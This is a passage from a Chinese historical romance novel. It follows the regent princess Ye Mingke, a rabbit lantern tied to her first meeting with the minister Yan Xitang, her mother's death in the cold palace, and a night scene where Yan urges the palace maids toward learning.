《景和三年纪事》
7. 正月十六.第六回合
那日傍晚,暖阳彻底散去,天边乌云滚起,不知不觉中,竟飘起零星雪花来。
怕是这立春之后,冬天尾巴上的最后一场雪。
琳琅长公主在景明殿中,气鼓鼓地,转悠了许多圈,却终是无处发泄。
满案的文书,都是要等着返还的,撕不得,扔不动,触手的器物,都是父皇母后所赠的,碰不得,砸不得。
后来晚膳端来,她就一口气喝了三碗黄金小米粥。还向紫绡抱怨说,太寡淡了,又要她像个男人一样干这理政的活儿,又不给她吃些抵事经饿的饮食,还让不让人活了?
紫绡好脾气,只笑着说,是纪太医吩咐的,公主近来上火,饮食要清淡。
夜鸣珂便点着头,咬着牙,万般无奈地……认了。
她近来,确实是上火,火大得很呢。
晚膳后,扶疏长公主夜云裳来看她。
云裳是异母妹妹,却也与她,情如同胞。今年将满十七岁,尚未婚嫁,也就还留在宫中住着。
昨夜允她出宫去逛城中的元宵节灯会,这会儿,怕是要来与她讲那新鲜见闻。
那妮子心思浅,每次有什么新鲜好玩之事,都按捺不住,要跑她这里来,叽里呱啦,讲上好半天。
不过,今日,似乎有比元宵灯节更兴奋的事情,让那俏生生的小公主面色潮红,眸光闪亮,立在那书案边上,手里提着只兔子灯,不停地回头往外张望。衣裙和花灯,一并在摇晃,站也站不安生的模样。
夜鸣珂坐在书案后边,已经开始在展卷阅读,瞥见云裳手里的兔子灯,晃啊晃的,晃得她有些……心烦。
“皇姐,外头……湖边上……晏大人,是怎么回事情?”扶疏长公主终于忍不住,鼓起勇气问了。
长姐威仪,她姐姐沉着面色不说话时,夜云裳就有点发憷。
“他有事求我!”夜鸣珂头也不抬地,清淡答她。
“哦,就是那样的……求法?”扶疏长公主似懂非懂的,点点头,又回头去张望。嗯……其实,在这殿室深处,是看不见那湖边光景的。
“对呀,他若是能在那湖边站到明天早上,求我的事情,就成了!”夜鸣珂悠悠的说来,又忍不住磨一磨银牙。
“啊?外头下雪了……”扶疏长公主就听得跳脚了。
雪地里站着,淋湿了冻坏了,怎么办?
心疼关切之情,毫不掩饰。
“昨夜的灯会,好玩儿吗?”夜鸣珂瞥眼看了看她,却不怎么理会她那情急,只慢条斯理地,转了话题。
“哦,好玩……”扶疏答她,却已有点兴趣阑珊,再好玩的灯会,也比不过眼前这情切。
“都看见些什么?”
“看见……”扶疏支吾了两字,突然眼神一亮,就打开了话匣子,“看见晏大人了,他亦在那市集上,还买了一只花灯。恰巧京兆尹的巡防府兵们路过,就停下与他寒暄行礼,然后,就被旁边那些耳尖的女子们,听见了称呼……”
“然后呢?”夜鸣珂大约也能想象出,后头的情形。
小晏相公长得俊美,又是年纪轻轻,就做了宰执。他在街上走时,只要一露身份,就没少引起过轰动。据说,跟着追上几条大街的时候,都有。
“然后…….我可就算是长见识了,姐姐你不知道,他在京中,有多么受欢迎!就那么一会儿功夫,就有好多女子,拿手帕来赠他,他像是……不好意思收的,赶紧上马车要走,可上了车,都还有人,拿桔子用手帕包着,往他身上扔。可那准头……也太欠了,“咚”地一声,砸他额头上了,砸得他都吃痛呢……当时,所有人都愣了,还把那个砸他的女子给推倒前面来……”
碧玉之年的少女,说起那灯节上的风流见闻,绘声绘色,意犹未尽,却见着她皇姐,垂眸翻着书卷,也不知有没有在听,遂偏头,停了话头,来唤她注意:“皇姐你猜,晏大人是怎么做的?”
“猜不着……”夜鸣珂心道,她懒得猜。那种妖人,心比比干多一窍,做出什么离谱的事情,她都不会惊讶。
“那女子都吓着了……晏大人就把那果子拾起来,把包裹的手帕子,还给她,然后,把那个桔子给留下了……姐姐啊,那么多手帕子,他都没接,就收了那个桔子!”
少女渐渐来劲,越发地眉飞色舞,“还说什么,谢谢她所赠,说他最喜欢吃的,就是桔子,哦,这个口味倒是跟皇姐差不多……”
那小公主笑得憨憨的,转头瞥了瞥案头的那盘贡桔。
“……”夜鸣珂赶紧挥手,挥掉背心一阵恶寒,似乎有些……耻于与他同一个口味爱好的不适。
“后头还有更绝的呢,他又跟那女子说,姑娘你瞧,这圆圆的桔果,又甜润,又圆满,最适合在这元宵佳节,跟亲人一起食用,那边有个老伯在卖桔子,你不妨去买上两斤,回家带给家人去,也好让那个老伯,今夜可以早一些收摊回家,与他的家人团聚去……”
“然后啊,那些女子就一窝蜂地……散了,都抢着买桔子去了!据说,昨夜市集上的桔子,都被抢完了!”
扶疏长公主一口气说完,不觉抽气,眼神莹光,偏头晃脑,尚在回味那昨夜灯集上的妙人妙事。
“昨儿逛市集,你就去看这热闹了?”夜鸣珂抬眸,淡淡地,看了她一眼。
那妹妹一番手舞足蹈,荡气回肠,她却似乎不怎么来劲。
“我可不得站在边上看啊!”
夜
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云裳又激动了,跺脚来说,“我得等着那些女子散去之后,去找晏大人要他手上那只花灯啊。那是我先瞧中的!我看遍整个市集,就属那只兔子灯最好看,就想着要给皇姐买回来。我知道,姐姐一直就喜欢看这灯节,喜欢这兔子灯,可是,姐姐如今事务多,去不了,却让我去了,我可不得给姐姐带点可心的物事回来么?”
少女的纯浅心思,乖巧而感人。
在这皇家之中,甚是难得。
“可那晏大人手长,先取了那灯,我还没来得及跟他争呢,那京兆尹府兵就来了。这不,就耽误了这么久。后头,我跟他要,他还不愿意给我呢。我就说,是皇姐让我买的,买不到,我回来要受罚的,他才把手中兔子灯递给了我,却还不信我呢,叫我别拿姐姐做幌子,说这花灯,是小孩子才喜欢的东西,一定不是姐姐要买,而是我想要的,呵,他当我是个小孩子呢……”
少女绕口令一般,一通缘故说完,将手中那只兔子灯,与她递来,尚在意犹未尽:
“哈哈,他怕是不知道,这灯还真是我要给姐姐买的,姐姐也就喜欢这小孩子玩儿的东西,还有,我什么都要跟姐姐讲的!幸好,他也没说姐姐什么坏话……”
琳琅长公主伸手接过那只玲珑兔子灯,依稀有些恍惚。
待抬眸看见扶疏脸上那种娇嗔,霎时醒了脑子,不觉狠狠腹诽,这奸人,怎么谁都招惹,又是一颗小姑娘的芳心,陷进去了。
“姐姐,外头下雪了!”
那芳心沦陷的小公主,又回到眼前,再一次,冲她叫喊。
“下就下呗……”夜鸣珂磨牙。
“这样子,他要生病的!”
“他生病与我何干?”
“你把他惹生病了,是要得罪全京城的女郎的!你是没瞧见,昨天那种阵仗……”
那个扔桔子的女郎,不小心砸他头上了,就瞬间成为成众矢之。
“我怕那些京中女郎作什么?”
“哎,不是……我能去给他送把伞吗?”
“晏西棠那种人,心太深,你莫去招惹……”
“可我,就是喜欢啊……这心里,跳得好乱……”
“你可知道,他自愿在风雪湖边待上一夜,所求何事?”
“所求何事?”
“求容相家眷留京,好方便他娶容语微呢。”
“……”
“还送伞吗?”
“我不管!他喜欢谁,要娶谁,都是他的事,我喜欢他,是我自己的事,我就是看不得他在那雪地里受冻呀……”
那心纯而执拗的妹妹,终是跳着脚地,出门送伞去。
留下那心思复杂而沉重的姐姐,扶额叹息。
8. 正月十六.第七回合
那天夜里,扶疏长公主就来来回回地,在那湖边静心阁和春和宫景明殿之间,折腾。
乐颠颠地折腾。
先是送了伞出去,给那人遮雪挡风。
一会儿回来,又给他沏了壶茶水去,怕他渴。
再一会儿,又把景明殿的点心,给搜罗了,端出去,怕他饿。
然后,又端了碳火,拎了手炉去,怕他冷。
最后,还给在书阁上找了本《谷梁传》拿去,怕他无聊。
那心思纯浅,脑袋简单的人,每次,也就只能想起一件事,就一样一样地,来回跑着搬运,却又乐在其中,兴奋异常,跑得小脸红扑扑的。
紫绡要伸手帮她一把,她也不要,说人是她的,谁都不要抢。
似乎,终于逮着机会献殷勤了,可不得使劲地献啊。
“姐姐,今日这事真是太妙了,以后你多找点机会,把晏大人叫进宫来议事,然后找些由头,让他动弹不得,就这样,多好,然后我就去雪中送炭……哈哈!”
最后一趟,扶疏公主在强行取走那本《谷梁传》之时,还不忘朝着夜鸣珂伸了个大拇指,点头赞许。
再也不说她姐姐把人搁那雪地里的过了。
琳琅长公主已经被她晃悠得,没了脾气,无奈冲她挥手:
“赶紧送碳吧,今年的雪,不多了!”
就将人撵了出去,免得吵得她心烦。
看着那风一样出门去的娇俏身影,又有些落寂上心头。
像扶疏这样,其实,挺好的,心里想什么,就去做什么……
曾经何时,她也是那样的人啊。
夜鸣珂看着案头那只兔子灯,拢膝撑手,托腮搁脸,不觉陷入些依稀遥远的沉思……
那一年,也是元宵节。
她将满十五岁,母亲获罪,带着她和青岚在冷宫里面待着。
也记不清是什么鸡毛蒜皮的罪了,大约就是在父皇心中,新欢代替了旧爱,母亲失了宠吧。
那冷宫里面,可真的是冷。
宫里的人都是些势利眼,见着皇后娘娘凉了,便连取暖的碳火,都克扣了。
母亲病卧在床,病得不轻,太医院也是爱理不理的,那元宵夜里,母亲吃不下东西,却突然说,想吃个桔子。
那个时候,青岚还是个不满九岁的小儿,虽说也懂事,但毕竟懵懵懂懂的,也就跟着哭闹,说他也好想吃,什么都想吃,肚子好饿……
夜鸣珂便溜出冷宫,去了延庆宫。
那桔子是南边贡品,父皇那里,一定是有的。
她想去求几个。
走到延庆宫外头,听见里面的欢声笑语,其乐融融,莺燕呢喃,肆无忌惮,她就走不进去了。
咬牙,攥拳,转身,掉头,一路溜出了皇宫。
她听说,今年南边的桔子丰收,宫中要不完,内侍司放了些到市集上去。
兴许这元宵夜集上,就有卖的,她想去给母亲买些。
那皇宫东边的繁华夜集,也是个璀璨灯会。
那是她长到那么大,看过的,第一场元宵灯节。最美丽,也最惆怅,如坠一个绚烂的梦境。
在那眼花缭乱中,来不及去赏那些琳琅满目的花灯,只顾着,找遍所有的街巷与摊贩,终于,在一个街角,找到一个卖桔子的老伯。
她摸出身上唯一值钱的东西,一块青玉,想换几颗桔子。
那老伯却说,太贵重,他找补不起。
她就想,母亲教她,日行一善。这冬日寒夜,家人团聚的佳节时分,这须发苍苍的老伯,却在这街角卖桔子,破旧寒衣,双手冻肿,也是生计所迫吧。
于是,她用一块青玉,换了老伯的一车桔子,然后,让老伯早点回家,跟家人团聚。
她行这善事,也是在向老天祈祷。也许,老天垂怜,母亲的病,就会快点好起来!
那一车桔子,她也要不完,就转身赠了那些欢乐游街的路人,就像是天女散花。
只留了几只又大又红的,用纸包装了,又让那老伯,找了她几个铜板,她想去给青岚买一盏花灯。
又是走马观花的一通急急转悠,看中了一盏高挂摊架尖儿上的兔子灯。
那一定是这灯集上最漂亮的花灯了,绒绒雪白的胖身,红宝石般的眼睛,机警竖立的长耳朵,一只惟妙惟肖得仿佛下一刻就会蹦跳起来的兔子,一只能够给人带来吉祥和好运的兔子灯。
站在那摊铺边,摸出铜板,正待问老板,却来一男子,就站在她身后,抬手掠过她头顶,一边伸手取灯,一边递着钱,就把那兔子灯,给抢先买下了!
她转身,还得仰头去看,那人高长高长的,长得也跟玉一般,白净而光生。
那是她第一次,看见晏西棠。
一个弱冠左右的俊俏书生,说是儒雅书生打扮,又有些磊落不羁之气,一双桃花眼眸,说不出的精亮。
他一时也没注意她,一边举起手中兔子灯,满意地端详着,一边就迈着长腿,转身开走。
她一时也没好意思喊,期期艾艾地,跟着追上去,直直追到那街面转角,灯火阑珊处,才鼓起勇气,说想买他手里的花灯。
“正巧,我口渴了,想买个桔子吃,可找遍这市集都没找到,你拿个桔子给我换吧。”
那人先是将她一通细细打量,又注目于她手里的纸包,闻到了桔香。
这买卖,亦还划算。
她便从纸包中拿出一个桔子,换了那盏兔子灯。
漂亮的小兔子接过手,提起来几眼赏玩,那里面的桔红色灯光,却突然,熄了。
“哎呦,我看看,是灯盏坏了,没关系,你拿去让老板换一盏新的,就好。这个,一般都包换的,你还可以让他给你换个其他色的,什么色的都有,彩色的也行,你可以自己去挑……”
那人探头察看灯身里面,便熟练地给她支了个招。
“你去吧,这包桔子,我给你拿着,我就在这里等你。”
且还熟络得,已经不像是刚刚才见面不到一盏茶功夫的陌生人。
她回头看了看那灯火璀璨处,有些心动,就还真地,将纸包递与了他。
彼时,竟觉得,那个人,莫名给她一种信赖与安全感,像个贴心的大哥哥。
遂颠颠地,跑回那摊贩,让花灯老板,给她换了个五色的灯盏,点得亮彤彤的,像是彩霞流光,想着青岚一定会喜欢。
也就挑色换灯这一会儿工夫,等她提着兔子灯走回那街角时,就发现,她的那包桔子,已经只剩了一堆桔子皮。
她又气又急,拿一种惊诧与愤怒之极的眼神,将他盯看。
那人讪笑:“这不下月要参加春闱吗,我今日温书过了头,忘了吃喝,这会儿实在太渴了,又饿,这桔子太可口,一时没忍住……”
她看着那纸包中一堆软软的桔子皮,眼泪就要掉下来了。
“哎,真是对不住,我重新买了还你,好吗?”
“没有了,这市集上唯一的一车,都被我买完了。”
“哦……一车啊?那你不是还有吗?别哭啊!”
“我只留了这几只,其他的,都送人了……”
“你……”
“我买下一车,是想让那老伯,可以早点回家……”
“……那我买点别的……什么,赔你,行不?”
“母亲生病了,她就想吃桔子。”
“那明日!明日我买了还你,啊?”
“不用了……”
她眼泪糊了双眼,心头一片狼藉,也不想与他多计较,提着兔子灯,转身就要走。
“哎,先把泪擦一擦吧……”那人递着手帕子,来堵她。
“不要了……”她胡乱一挡,视线模糊,晕头转向。
“小心,看路!”
那人一声提醒,就一把将她拉过,护在怀里。
一辆马车疾驰而来,急急斜斜地,冲过转角,也是些不看路横着走的。
他拉得急,几近将她甩到了墙上,然后,他也站不住,囫囵扑在了她身上。
有那么刹那的兵荒马乱。
不过,情急之举,倒也没什么多想的。
人也无恙,但却甩掉了她手中的兔子灯。
车马过后,再去看那地上兔子灯,马踏车碾过后,已成一摊烂纸。
“那是给弟弟买的……”她的眼泪,再一次汹涌而至。
“你等着,我重新去买一盏!”
“不要了,其他的,都没有这盏好看……”
“那……”
“算了,什么都不要你赔了,我该回家去了……”
她终是礼貌地,长身行了一礼,便走出那街角,要走出那一场惆怅的梦境去。
人在低谷时,喝水都要塞牙缝。想要吃个桔子,买盏花灯,都这么难。
“哎,小仙女,你叫什么名字,住什么地方?”那人的声音,从身后追来。
如清泉汩汩,温润而爽朗,亦有些放荡风流,不拘不泥,其实很好听,很受用。
“……”她却不答。
“我叫晏西棠,云泽人,二十岁,未娶亲,是来参加今年春闱的……”
我管你是谁呢。她心头叽歪着,闻言驻足,却依旧未回头。
“等我今年高中了,我就到你家来……找你,还你兔子灯和桔子,好么?”
仍是想套她姓名和住处。
“……”她突然转身过来,将那阑珊灯火中的俊美儿郎,从头到脚,从脚到头,仔细打量了一番。
心道,他若高中,可不得上她家来不是?琼林宴上展英姿,然后,终其一生,入夜氏皇
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家之彀,为大兴王朝所用。
却终是未开口,说点什么,应他什么。
只是,再一次的,欠身抬手,小女子行了个男儿礼,就此别过。
转身,举步,回她那清冷而忧伤的境地去。
桔子没了,兔子灯没了,出来一趟,徒劳无功,心头有些空空的,恹恹的。
然而,等她回到那冷宫中,竟发现,还有更大的空洞,在等着她。
连母亲……也没了。
紫绡抱着青岚,坐在门口,在等她。
见了她,递过一张手书,让她阅后即焚。
那是母亲的自绝之书,她看后,便是难以自抑的嘶声痛哭,一阵撕心裂肺的潮涌,几欲晕倒过去。
原来,母亲说想吃桔子,让她出去找,去买,其实,就是要支开她,好行这决绝之事。
一阵晕眩过后,却抹了那不停地掉落的泪水,牵过青岚,上延庆宫去。
她得把母亲的苦心积虑,坚持下去。
母亲说的是,她重病在身,迟早都要去的,走在今夜元宵佳节,却是最好的时机,趁皇后未废,太子未废,父皇心中,尚存有些犹豫。
所以,母亲要她,到父皇身边去,将他心中那份犹豫,变成永久的愧疚,然后,以己之宠,保护好弟弟。
母亲的心念,她懂得的,母亲的要求,她也做得到的。
不就是争宠吗?她会的。
父皇身边,不缺那些在枕席间婉转承欢的女人,然而,却缺少一个可以放在手心里宠爱,又无染权之忌惮的女儿。
那么,她就是那个女儿。
三年时间,从那年元宵,一直到父皇驾崩,她成功地,成了父皇最宠信的子女,也成功地,保住了青岚的太子之位。
甚至,在父皇临终之际,成功地战胜了一群狼兄虎弟,让青岚顺利即位,而她,则以这大兴朝有史以来,第一个监国长公主的身份,将权柄,牢牢地抓在了手里。
至于晏西棠,其实,那一年,就高中了探花,也到她家来了。
那琼林宴上,御苑角落里,两人再见之时,那人激动到……眉飞色舞,难以形容。
然而,怕是八字相冲,不合时宜。
她已经没有了那种纯粹美好而蠢蠢欲动的少女初心。
谁让他,早不来,晚不来,偏偏出现在那天晚上,她的母亲决然而去的那天晚上……
从那天晚上开始,她接下来的,最美好的青春时光,似乎……都拿去讨好那个她称之为父亲,掌着一国之权柄的男人了。
待父皇不在,皇权在手,她仿佛,又直接嫁给了这权柄一般。
心无旁骛,眼无他人。
也莫怪她势利。
生在这皇家,可不得趋炎附势,争权夺利,方能安生吗?
……
“殿下……”
一番记忆中踟躇,紫绡的声音,将她唤醒。
眼前的兔子灯,还点着呢,桔红色的灯光,跟案头的金黄贡桔,仿佛在应和。
“哦……”琳琅长公主依稀回神。
“扶疏殿下在静心阁里睡着了,可是要唤到屋里来睡?”紫绡又请询。
“倒是不必,只是可别冷着了……”夜鸣珂不觉绽笑。
刚才还那么兴奋的人,好不容易逮着这天赐的机会,竟然……睡着了!
“倒也还好,放了几只火盆进去,暖和着呢。”
紫绡大概也觉得,要将这睡着的人,挪个窝,挺麻烦的。
“那就随她吧,莫去吵……”夜鸣珂吩咐了。
她心道,若是吵醒了,怕也不会回屋睡的。想了想,又问:“晏大人呢?”
扶疏睡着了,他在干嘛?
“还站在那暖阁外头呢,借着笼灯的光在看书。”
紫绡一边说着,一边摇头,笑那文臣书呆子的模样。
“叫常小山拿玺印来吧。”
夜鸣珂终是发了善心,把那份容相的罢官制,给签印了。
一字不改,依了那人的主意,崖州改判雷州,全家老少家眷可留京中。
又提了那只兔子灯,拿着这签印好的制书,还捡了只金黄金黄的桔子,出殿去,准备亲自给那人送手上,然后,让他找地方歇着去。
她突然有些累,不想剑拔弩张了。
再说了,真要把他给惹病了,明日整个政事堂都要找她喷口水。
哪知,出得景明殿,迈出春和宫门,本来一个转拐就至湖边静心阁。
可她听得,那暖阁处,竟是一阵叽叽喳喳,怯怯嬉笑,像是有许多人。
紫绡不是说一个人在灯下看书吗?怎的,又来许多人?
琳琅长公主心头疑惑,便在那转拐处,站定藏身,听了一段墙角。
然后……然后就把肺气炸了……
9. 正月十六.第八回合
那暖阁边上,竟来了一群宫女,将晏西棠团团围了。
晏西棠像是站累了,就大刺刺地,坐在那暖阁门前的台阶上,那群宫女,亦就蹲的蹲,跪的跪,坐的坐,依旧将他簇拥着,听他说话。
像是讲了什么笑话。
一众宫女就捂嘴偷笑,继而撒手嬉笑,然而就东倒西歪,前俯后仰。
湖边雪地,静谧夜空中,一阵高高低低的少女清音,恍若浅唱低吟。
亭阁飞角下,挂着的桔色笼灯,照亮那台阶处的一堆人气与暖意。
“嘘,小点声……莫把扶疏殿下吵醒了。”
那光亮中心的男子,抬指嘘声,顿时压住了那开心得抑制不住的乍起声浪。
“哦,我把门关上吧……”一个靠近门边的宫女,急忙起身,要去关门。
“哎,不能关严了,那碳火之气有毒,会闷着的……”男子又赶紧轻声地,制止了她。
“大人真是贴心啊……”有人在艳羡。
“大人冷不冷,用这手炉暖和暖和……”又有人想要献一点点殷勤。
“不用,谢谢!”那人答得礼貌而客气,并没有因为面对的是一群小宫女,就摆个大人架子。
“大人渴不渴,我去起沏壶茶来……”
“不用,谢谢!”
“大人饿不饿,我去煮一碗面来?……”
“不用,谢谢!”
“大人好不容易……到这宫里来,总得让我们做点什么吧……”
“就是啊,总得让我们做点什么吧……”
大兴民风,并不古板。那些十五六岁的宫女们,其实也是精挑细选进来的,清一色的机灵和胆儿肥。
并且,此刻,敢跑到这湖畔来围观的,更是些机灵和胆儿肥的尖尖子。
那深夜湖畔,亭阁边蹲坐,又不是什么庄肃场合,那平日高高在上的相公大人,也是如此这般的和气,由她们团团地围着,谦谦问答。
渐渐就越发的大胆,言语也越发跳脱起来。
“要不……这样吧,你手里拿的是什么,玲珑点?给我吃些就好……”
那人像是盛情难却,只得找了个合适的殷勤来接受。
“可是,这……玲珑点,是喂这御苑沁湖中锦鲤的鱼食呀。”那小宫女一脸的难为情,迟迟递不出手中的吃食。
“你们入宫得迟,可不知,晏相公就喜欢吃这沁湖鱼食吗?”那人伸手接过那鱼食,且还大言不惭。
这种狼狈难堪事,他也不觉难为情,直白大方地说来,就引得那群宫女又是一阵觉得新鲜的惊诧,又催他:
“哈哈,这又是何原由,大人快说来听听……”
“呵,都是些陈芝麻烂谷子的,不提也罢……”
“大人说来听听嘛……”
“大人说话,有道理又有趣,说什么,我们都爱听……”
“就是,就是,请大人快讲……”
“好吧,好吧,安静点,我讲便是!”
像是磨不过宫女们的纠缠,那人真还娓娓道来了:
“我中探花那年,赴这宫中琼林宴,喏,就在这沁湖的对面吧,那花园子里。那宴席规矩太多,我都饿得眼冒金星了,也还等不来开宴,就到处去转悠转悠,想找口吃的……然后呢,我就在湖边的假山处,遇见……一个宫女,便求她给找点吃的,那时,她手里,正好就有一盘这起子吃食,就顺手递给了我。我接过一尝,那味道,酥香脆甜,还真不错,就问她,这点心叫什么名字,她说叫玲珑点,我就想啊,不错,真不错,味道不错,连名字也好听,还有这皇宫里的宫女,也长得真不错,跟个小仙女似的……”
“呵呵……”一众宫女就跟着,捂嘴偷笑,开心无比。
听男子潇洒讲他的囧事,带些谦谦风流的心思,还变着法地,夸了她们宫女群体。
“后来,那琼林宴上,先皇陛下招我到御前,问我,想赏点什么呀,我就说,想再吃一盘玲珑点……”
“哈哈哈……”宫女们已经预想了接下来的场景,又是一阵压着声音的欢笑。
“当时,全场的所有人,就跟你们现在这样,全都笑到……肚子痛,嘴抽筋。喝酒的,给呛着了,吃肉的,也差点给噎着。我也没明白,他们在笑什么,且我还想说,求陛下把那小仙子似的宫女也赏给我吧。抬头一撇,却见着,她正站在陛下身边,又还端了一盘玲珑点,正往湖里抛洒呢,那时,我才知道,那东西,是喂鱼的……”
晏相公说罢,亦跟着自嘲地笑,不禁抬手捂额。
“那个宫女,也太损人了吧……”就有小宫女替他打抱不平。
“就是,太损人了!”
昔日琼林宴上那个没心没肺的宫女,让她们无限倾慕的男子,当众出糗,大家都有些义愤填膺。
“也不怪她。没有这鱼食,先皇还记不住我呢,后来,先皇要用我时,就说,那个谁,叫什么来着,就是喜欢吃鱼食那个,这事情,叫他去办!……当然,每次办妥了事情,先皇也少不了要赏我一份这鱼食吃,见我吃得开心,他也赏得开心,自然就记住我了,后头,就有许多重要的事情,都交给我去办……所以啊,我还得谢谢那宫女,没她这盘鱼食,我哪有这么快,就做了政事堂的相公,能够为国为民啊……”
“哈哈哈……”
宫女们又被他那惟妙惟肖的描述,给逗乐了,少息,又不觉开始唏嘘叹息:
“大人真是好心性……”
“这叫……以……那句话怎么说的,以什么,报什么?”
“以……德,以德……报……”
“以德报怨!”
“对,就是以德报怨,大人这是不拘小节,以德报怨!”
宫女们你一言,我一语,给拼凑出一个最高赞赏。
“那……大人后来有向先皇陛下,求了那个宫女吗?”
终于,有一个傻傻的小宫女,问出了这个让她好奇的问题。在那一堆杂言中,去伪存精,纠结住要害。
“还求什么呢,那么坏心的人,求她作啥?”
“我若是相公大人,也不会再去求的!”
“就算是长得像仙女又怎样?人品不好,就不配相公大人!”
不等晏西棠回答,一众仗义的宫女们,又自行表达着自己的理解,替他作答了。
“到底,有没有求啊?”那小宫女却依旧执着。
就像总有一小撮傻傻的心灵,会抛开世俗尘光,执着于才子佳人的爱恋。执着于情之所起,一往情深,不问缘由。
众人瞬间安静,齐齐噤声,呃……其实,都想听男子的回答。
“没有……”晏西棠摇头。
“为什么?”小宫女追问。
“不为什么……”男子突然抬手捂额,瞬间沉寂。
那就是心有万重山,不与外人道。
“……”
少倾尴尬的沉默,宫女们也是见机,急忙转着眼珠子,寻着新的话题来绕。
“相公大人,看的什么书?”看见他膝怀中的书,便问书。
“《春秋.谷梁传》”
“大人可真是学识渊博……”
“你们……想不想读书?”
“宫中只考女红,不考识字读书……”
“以后,终是要出宫的嘛……”
“以后出宫,又不去做官,读书做什么呢?”
“也不是非得要做官才读书呀,女子读书,可知世情,可明事理,可长见识,以后出宫嫁人,更能受夫君尊重……再说了,我朝以后,不见得女子不能做官啊,你们那位琳琅长公主殿下,不也是女儿身,在理朝政吗?”
“……”
清隽和蔼的男子,语重心长一席话,说得宫女们眼神晶亮,若有所
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思。
“总之,女儿家,多读些书,总是好的,至少,少闹些笑话……就说之前赠我鱼食那个宫女吧,她就曾将我手中这本《谷梁传》,叫做《母羊传》……”
“哈哈,母羊传,这又是何道理?”
“春秋一书,有三家注释,名曰三传,一曰左传,一曰公羊,一曰谷梁。那日,我考她,这三家春秋,分别为哪三传?她呀,可能是只记得左传与公羊这两家,那谷梁呢,有些似是而非,记不清了,便想了个听来相近的,母羊传,来凑数。我问她何故,她说,既有公羊传,那岂不应有母羊传?却不知,这左氏,公羊,与谷梁,皆是人之姓氏……”
男子只要一讲起那些往事,不管是他的糗,还是别人的糗,皆是眉梢温柔,笑意盈盈。
“哈哈哈……”宫女们亦就不觉,跟着绽笑。
“大人是因为这个原因,才不求她了的吗?”还是先前那个傻傻的小宫女,又冷不防戳了一句。
“……”问得晏西棠霎时无语。
“……”一众宫女也霎时无语。
还是有些机灵点的,知道又问到尬点儿上去了,急忙打着哈哈,岔开话题去:
“大人,其实,我们也想识字读书的……”
“对,对,我们想学的!”
“相公大人叫我们读书,是为我们好……”
“对,多读书,以后嫁人,才不会被夫君欺负……”
“说不定,还可以做女官呢……”
“也莫把谷梁叫母羊,叫人笑话……”
“大人,要不,在宫中开女学吧……”
“对呀,大人,开女学吧。”
叽叽喳喳一群小宫女,十五六七岁的年纪,带着无比初纯的美好,充满着对未来的希冀。
晏西棠便笑着,循循地,将那宰旨的方向引了:
“这事情呀,毕竟是内宫之事,我说还不管用,得求你们琳琅长公主……”
“相公大人说话才管用呢,要不,大人给咱殿下说说吧……”
“那你们等着,我这就给你们问问……”
男子竟也突然爽快,跟着就站起身来,看向边上那宫墙转角处。
“……”众宫女顿觉惊诧,赶紧寻着他的视线,齐齐转头。
有些十分机灵的,便迅速地从地上爬来,转身低头,敛色垂头,等着迎接那宫墙处来人了。
春和宫出来,弯弯的青瓦白墙边上,没看见人影,倒是有一簇隐隐的,桔色笼灯光亮。
便听得那如玉般的男子,站直了在阶上,提了嗓子,一声清音朗声,朝着那宫墙转角处的幽幽光亮,一句郎当说话:
“琳琅长公主殿下,你的宫女们想识字读书呢,开不开女学?等你一句话!”
在那转角后面,一动不动地,听了半天墙壁的女郎,此时才恍然。
她只道自己藏身得好,却忘了这手里兔子灯的光亮,是可以穿透暗夜,让那坐在暖阁阶上的机警之人察觉的。
怕是早就被他看见了。
也就是说,一开始,他就知道她在这里了。
也就是说,她所听到的所有,都是他故意说的!说给她听的!
故意说那鱼食之事,然后,借着一众宫女的口无遮拦,变着法的骂她!
故意说那母羊传之事,然后,借着一众宫女的口无遮拦,变着法的笑她!
然后,故意说那劝学之事,让她骑虎难下。日后传出去,便是他做了好人,被她留在宫里刁难时,还不忘给宫女们谋个好处,劝着她兴了宫中女学!
这个奸人,是可忍,孰不可忍!
琳琅长公主一手提着那只桔色兔子灯,一只握着那只金黄的贡桔,慢慢地,慢慢地,转出了宫墙拐角。
裙摆摇摇,勾唇浅笑,仪态万千。
她今夜若是不把这口气给出回来,简直枉为人!
10. 正月十六.第九回合
“开女学吗?这还不简单,愿意读书识字的,明日就到资善学宫去,跟着学官试学三月,通得过的,就留下来给陛下当书童,做侍读!”
琳琅长公主款款而行,浅笑而语。金口一开,许了宫女们的读书梦。
却又不是那么老好人的决断,试学三月可以,但是,要想学好,还得靠天资与勤奋,亦有考核。
当然,若是真有那能耐的,也是给足了空间的,学得好,一介宫女,就可以到皇帝身边相伴侍读啊!
就这样,宫女们已是听得激动异常,站在那里,一边谢恩,一边雀跃,像一群互相依偎挤兑的小鸡子。
“都是从哪些宫里瞎跑出来的?还不快回去睡觉!”
琳琅长公主就沉了脸色,一声娇亮声色的吆喝。
终是吓得那些宫女提了裙裙,沿着宫墙,碎步飞快,一溜烟跑走。
再不跑,长公主就要追求来处,责罚这半夜里出来瞎闹之罪了。
少倾功夫,湖畔重归寂静,独留二人,斗鸡一般,转着对峙。
夜明珂往湖边矶石滩上去,晏西棠就下了暖阁小阶,要绕着路过来。
夜鸣珂就往那石滩边边上,又走了几步,就像耻于与他靠近一般。
她行抵了水边,那人尚想绕过那一片碎石,亦要过来。
她便举起手中兔子灯,示意他止步,那人才停脚。
于是,两人就隔了一滩碎石雪地,离了有两三丈的距离,说话。
“想不到,堂堂相公大人,不在朝中时,竟也能跟十五六岁的宫女,打成一片!”琳琅长公主浮一脸咬牙切齿的笑。
白日里,他听她跟纪无攸的墙壁,笑她像个三岁小儿,这下,她也得还他一句才是。
“可不,碧玉之年,浅浅初纯,不染尘俗,多可爱。”晏西棠大言不惭,出口就是啧啧的赞,依稀带笑,意味深长。
夜鸣珂的笑,就给僵在了脸上,有一瞬间。
这不还是转着弯地,说她是个染了尘俗的庸人吗?
依稀记得,曾经,他似乎是这样骂过她的。那句话是怎么骂的呢?说她的心被什么给熏了?利欲?势利?
时光太久,交战太多,竟然都记不清楚了。
终究不过是,花样不再,心染尘埃。
算了!
遂继续哼笑着,转开头去,沿着那湖边矶滩,一阵狠狠踱步,踩得那一路小石碎雪,咯嘣咯嘣,咔嚓咔嚓。
一阵踩石碎雪之后,她才驻足,开始翻旧账来理论:
“其实,你到用不着谢我赠你鱼食,让你在先皇面前,有了能留下深刻印象的机会。我还得谢你,在父皇面前告我不学无术呢!若不是,那把谷梁叫母羊的错误,我还没机会,向父皇陈情,讲我母后的母羊护犊之心呢……”
所谓,冤家对头,互相成就,谢谢怨仇,就是这样的道理。
